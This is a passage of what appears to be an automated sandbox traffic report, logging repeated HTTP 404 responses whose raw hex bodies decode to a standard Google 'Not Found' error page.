6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:10 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:10 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:13 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:15 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:16 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:19 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
